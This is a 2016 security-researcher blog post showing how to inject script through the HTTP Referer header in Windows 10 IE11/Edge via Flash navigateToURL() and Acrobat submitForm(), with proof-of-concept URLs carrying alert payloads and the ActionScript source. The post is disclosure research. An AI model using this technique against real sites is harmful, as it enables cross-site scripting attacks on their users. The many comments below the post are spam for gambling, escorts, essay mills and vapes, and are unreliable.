Thursday, October 6, 2016

XSS via Referrer After Anniversary Update

Since the Windows 10 anniversary update, it seems that Microsoft killed some XSS tricks on IE11/Edge. The referrer behavior is one of them.

The following page writes the HTTP_REFERER and document.referrer directly:
https://vulnerabledoma.in/xss_referrer

Previously IE/Edge did not encode the "<> characters in the referrer string. So, we could XSS on that page from the following PoC:
https://l0.cm/xss_referrer_oldpoc.html?<script>alert("1")</script>

But since the Windows 10 anniversary update, IE11/Edge encodes it. You will get the following encoded string from that page:
HTTP_REFERER: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
document.referrer: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
Too bad!
Of course, we can still use Win8.1/7 IE11. But also we want to XSS on Win10, don't you? :D

Today, I would like to introduce a small technique, XSS using the referrer on latest Win10 Edge/IE11.

The technique is very simple. You can easily include "<> string into the referrer if you send the request from Flash's navigateToURL() method, like this:

https://l0.cm/xss_referrer.swf?<script>alert(1)</script>

The ActionScript code is here:
package {
 import flash.display.Sprite;
 import flash.net.URLRequest;
 import flash.net.navigateToURL;
 public class xss_referrer extends Sprite{
  public function xss_referrer() {
   var url:URLRequest = new URLRequest("https://vulnerabledoma.in/xss_referrer");
   navigateToURL(url, "_self");
  }
 }
}
As you can see the access result, we can XSS via the Referer request header. But sadly, we cannot XSS via the document.referrer property because it becomes empty. Dang :p

FYI, also I can reproduce it via the submitForm() method of JavaScript for Acrobat API.

I confirmed it on Win10 IE11 with Adobe Reader plugin.

PoC is here:
https://l0.cm/xss_referrer.pdf?<script>alert(1)</script>

It seems that the request via plugins is not considered.

That's it. It might be helpful in some cases :)
Thanks!

38 comments:

  1. To do Not Pressure OR Anything, But Have Ever This considered post there is statement PT Lampung Service this is a
    Service HP Bandar Lampung whose looking to do day
    Service iPhone Lampung to this looking then to that is
    Jasa Kursus Service HP I will try it.
    Jasa Kursus Service HP They have jumping places and so that the device other kid's activity.Youtuber Lampung , Thanks ! Visit Back.

    ReplyDelete
  2. Independent Escorts in Dubai is the right decision. the top Dubai Escorts at your one Click. Log on to us for entertainment.

    ReplyDelete
  3. Thank you for another informative blog. Where else could I get that type of info written in such a perfect approach? I have an undertaking that I’m simply now working on, and I’ve been on the lookout for such information.
    Moviesflix

    ReplyDelete
  4. That's for sure. He could become the future Paul Scholes at Nachester United, he has the outstanding quality of a midfielder to be a great player.”
    A bizarre penalty took place in the FA รีวิวคาสิโน
    Cup second round when the referees decided to give non-league side Ebbsfleet the penalty despite their players stubbornly falling on their own. Plus, it also contributed to Ebbsfleet's qualification.

    ReplyDelete
  5. โป๊กเกอร์ เป็นอีกหนึ่งเกมไพ่ที่จะมีผู้เล่นมากกว่า 2 คน ขึ้นไป และมีผู้ชนะเพียงแค่ 1 คน หรือเสมอกันเท่านั้น ซึ่งในปัจจุบันโป๊กเกอร์ก็เป็นเกมไพ่ที่มีผู้คนนิยมเล่นมากที่สุดของโลก https://pokerdee55.com/

    ReplyDelete
  6. This blog iswhat im exactly looking for. Great! and Thanks to you. 메이저사이트

    ReplyDelete
  7. What an interesting article! I'm glad i finally found what i was looking for.
    온라인경마
    경마사이트

    ReplyDelete
  8. I am overwhelmed by your post with such a nice topic. Usually I visit your site and get updated through the information you include but today’s blog would be the most appreciable. 바카라

    ReplyDelete
  9. This an amazing reads, it shows that you actually know what you are talking about, thanks a lot for sharing the elucidate contents. 카지노

    ReplyDelete
  10. Thank you for this work.. Planning to stay in Kenya further for some reasons, however, you must apply for Kenya visa extension then online and check visa required for Kenya.

    ReplyDelete
  11. Wow.. Very informative article thanks for sharing please keep it up.. You can apply for an India tourist visa urgent in some case of emergency and you can also apply for an India visa super urgent, it takes less as compared to sticker visa.

    ReplyDelete
  12. That's a really impressive new idea! 안전한놀이터 It touched me a lot. I would love to hear your opinion on my site. Please come to the site I run once and leave a comment. Thank you.

    ReplyDelete
  13. BK8 ของเราคือแบรนด์ คาสิโนออนไลน์ (Casino Online) ที่ใหญ่และดีที่สุดใน ประเทศไทย ทั้งยังสามารถครองใจผู้เล่นมาแล้วหลายล้านรายทั่วประเทศในแถบ เอเชีย เป็นที่รู้จักกันดีในฐานะแบรนด์ การพนัน ชั้นนำ มี เกมคาสิโน หลากหลายที่พร้อมมอบประสบการณ์สุดพิเศษแก่ผู้เล่นแต่ละราย ตอบสนอง การเดิมพัน ได้ง่ายเพียงปลายนิ้วสัมผัสผ่าน คอมพิวเตอร์, แม็บเล็ต และ โทรศัพท์มือถือ ทั้งยังมี โปรโมชั่น, โบนัส และเงินรางวัลสุดพิเศษอีกมากมาย เข้าไปเดิมพันและทำให้วันของคุณเป็นวันที่แตกต่างได้เลยวันนี้!สมัคร bk8thai

    ReplyDelete
  14. Atoz Top News is considered one of the best recognized and popular websites providing high-quality information about the latest technology and gadgets. In addition, AtoZ Top News is one of the top technology-related websites on the internet and one of the most popular technology blogs online. It is primarily a source of articles related to portals on the internet and the latest technology reviews, news, and product reviews.

    ReplyDelete
  15. The whole data is related to window10, the best window for marketing, but I wouldn't say I like to use it for my work because I have been using window7, which is very easy for new marketers who do not have enough experience in SEO. dissertation writing services

    ReplyDelete
  16. I think this is an informative post and it is very useful and informative. So, I would like to thank you for the effort you put into writing this article. What is e visa Indian? Indian e Visa or Electronic Visa (ETV) is an online travel authorization. You can apply e visa to Indian online.

    ReplyDelete
  17. Your blogs are amazing. Keep sharing. I love them Are you also searching for urgent assignment help? we are the best solution for you. We are best known for delivering the best urgent assignment help.

    ReplyDelete
  18. Good blog. I learned a lot from this blog. Are you also searching for University Assignment Help ? we are the best solution for you. We are best known for delivering cheap essays to students without having to break the bank

    ReplyDelete
  19. It is truly a nice and useful piece of info. I am glad that you simply shared this useful information with us. Please keep us informed like this. Thank you for sharing. 먹튀검증

    ReplyDelete
  20. u with a quick heads up! Other than that, wonderful website! Your style is unique in comparison to other folks I’ve read stuff from. Thanks for posting when you’ve got the opportunity, Guess I will just bookmark this blog. 승인전화없는토토사이트

    ReplyDelete
  21. I am so pleased I situated your blog site, I actually situated you by mistake, while I was taking a look at on google for another point, Anyways I am below now in addition to additionally would certainly just like to insist give thanks to for an outstanding blog post along with an all-around entertaining internet site. I am really enjoying reading your well written articles. It looks like you spend a lot of effort and time on your blog. I have bookmarked it and I am looking forward to reading new articles. Keep up the good work. This is my first time visit to your blog and I am very interested in the articles that you serve. Provide enough knowledge for me. Thank you for sharing useful and don’t forget, keep sharing useful info: 메이저사이트 코드

    ReplyDelete
  22. that you’ve done a fantastic job with this. Also, the blog loads very fast for me on Chrome. Excellent Blog ! Great work ! This is the type of information that are supposed to be shared across the internet. 메이저토토

    ReplyDelete
  23. After I originally left a comment I seem to have clicked on the -Notify me when new comments are added- checkbox and from now on every time a comment is added I receive four emails with the same comment. Perhaps there is an easy method you are able to remove me from that service? Many thanks! Greetings! Very helpful advice in this particular article! It's the little changes which will make the most important changes. Many thanks for sharing!| You are so interesting! I do not think I've read a single thing like this before. So wonderful to find someone with a few original thoughts on this subject. Really.. thank you for starting this up. This site is something that's needed on the internet, someone with a bit of originality! It­s hard to come by educated people about this subject, however, you seem like you know what youíre talking about! Thanks 메이저토토

    ReplyDelete
  24. "Hi, I do think this is a great blog. I stumbledupon it 😉 I may return once again since i have book-marked it. Money and freedom is the greatest way to change, may you be rich and continue to guide other people.
    You are so awesome! I do not think I have read a single thing like this before. So good to discover another person with unique thoughts on this subject matter. Really.. many thanks for starting this up. This site is one thing that is needed on the internet, someone with some originality! Good post. I learn something totally new and challenging on websites I stumbleupon everyday. It will always be helpful to read articles from other writers and use something from their sites." 메이저토토사이트

    ReplyDelete
  25. I have to express thanks to this writer just for bailing me out of this particular difficulty. Just after browsing through the search engines and obtaining basics that were not pleasant, I thought my entire life was gone. Being alive minus the answers to the problems you have fixed by way of your good short post is a critical case, as well as the kind that would have in a negative way affected my entire career if I had not come across your web blog. Your main capability and kindness in touching every part was crucial. I am not sure what I would have done if I had not encountered such a stuff like this. I can also at this time look forward to my future. Thanks a lot so much for the reliable and amazing guide. I will not think twice to suggest your web site to anybody who needs to have assistance on this subject matter. I’m also writing to let you be aware of of the beneficial encounter my princess found reading your web page. She came to find too many issues, most notably what it is like to have an incredible helping nature to have other people completely comprehend a number of advanced things. You actually surpassed visitors’ expectations. Thanks for producing those great, safe, educational and in addition cool thoughts on the topic to Janet. 먹튀검증커뮤니티

    ReplyDelete
  26. addition have high hopes you are aware of a powerful job you are always putting in instructing the others thru your websites. More than likely you have never got to know all of us. 바카라사이트

    ReplyDelete
  27. Good day I am so delighted I found your weblog, I really found you by accident, while I was researching on Digg for something else, Nonetheless I am here now and would just like to say many thanks for a remarkable post and a all round interesting blog (I also love the theme/design), I donít have time to read through it all at the minute but I have bookmarked it and also added your RSS feeds, so when I have time I will be back to read a great deal more, Please do keep up the fantastic job. Hey I know this is off topic but I was wondering if you knew of any widgets I could add to my blog that automatically tweet my newest twitter updates. I’ve been looking for a plug-in like this for quite some time and was hoping maybe you would have some experience with something like this. Please let me know if you run into anything. I truly enjoy reading your blog and I look forward to your new updates.| This is a great blog. 제왕카지노

    ReplyDelete
  28. Entertainment can be more fun with Hulu as here you get access to a world full of your favorite TV shows. Here will get the opportunity to enjoy the latest content that you can stream in any of your devices supporting the app. Get your free trial and access to your device in the Nice Post . you make running a blog glance easy. The full look of your site is fantastic, as neatly as the content material! this will help me to create my own blog. if you dont mind can you give me an advice? thanks alot!!! This is my first opportunity to visit this website. I found some interesting things and I will apply to the development of my blog. Thanks for sharing useful information. 토토사이트추천

    ReplyDelete
  29. I and also my friends ended up following the nice thoughts from the blog and so quickly I got a terrible feeling I never expressed respect to the web site owner for those strategies. The women were certainly warmed to read through them and now have pretty much been making the most of them. Appreciate your turning out to be well thoughtful and also for selecting certain important issues most people are really needing to be aware of. Our own honest regret for not expressing appreciation to earlier. Needed to compose you that very little observation so as to say thanks a lot once again about the pleasing methods you have shown in this case. It was so surprisingly generous with you to offer unhampered precisely what some people would’ve sold as an electronic book to earn some profit on their own, precisely given that you could possibly have done it in case you desired. These techniques as well served like the fantastic way to realize that the rest have the identical zeal really like mine to understand a lot more pertaining to this problem. I am certain there are lots of more enjoyable sessions up front for individuals that scan your blog post. 사설토토

    ReplyDelete
  30. Yes, I am entirely agreed with this article, and I just want say that this article is very helpful and enlightening. I also have some precious piece of concerned info !!!!!!Thanks. It is my first visit to your blog, and I am very impressed with the articles that you serve. Give adequate knowledge for me. Thank you for sharing useful material. I will be back for the more great post. Nice post. I was checking constantly this blog and I’m impressed! Extremely useful info specially the last part I care for such information a lot. I was seeking this certain info for a long time. Thank you and good luck. 생활바카라

    ReplyDelete
  31. Good to become visiting your weblog again, it has been months for me. Nicely this article that i've been waited for so long. I will need this post to total my assignment in the college, and it has exact same topic together with your write-up. Thanks, good share. Pretty good post. I just stumbled upon your blog and wanted to say that I have really enjoyed reading your blog posts. Any way I’ll be subscribing to your feed and I hope you post again soon. 먹튀폴리스

    ReplyDelete
  32. processed it took me to weep with contentment. I’m thankful for the service and in addition have high hopes you are aware of a powerful job you are always putting in instructing the others thru your websites. More than likely you have never got to know all of us. 메이저놀이터

    ReplyDelete
  33. Thanks very nice!
    Do you like vape? Does anyone in your family like to smoke vape?
    There are hellvape mini tank that disposable vape device like, smok starter kit ,smok vape pod , and smok nord x kit.
    You are welcome!
    vapeciga.uk

    ReplyDelete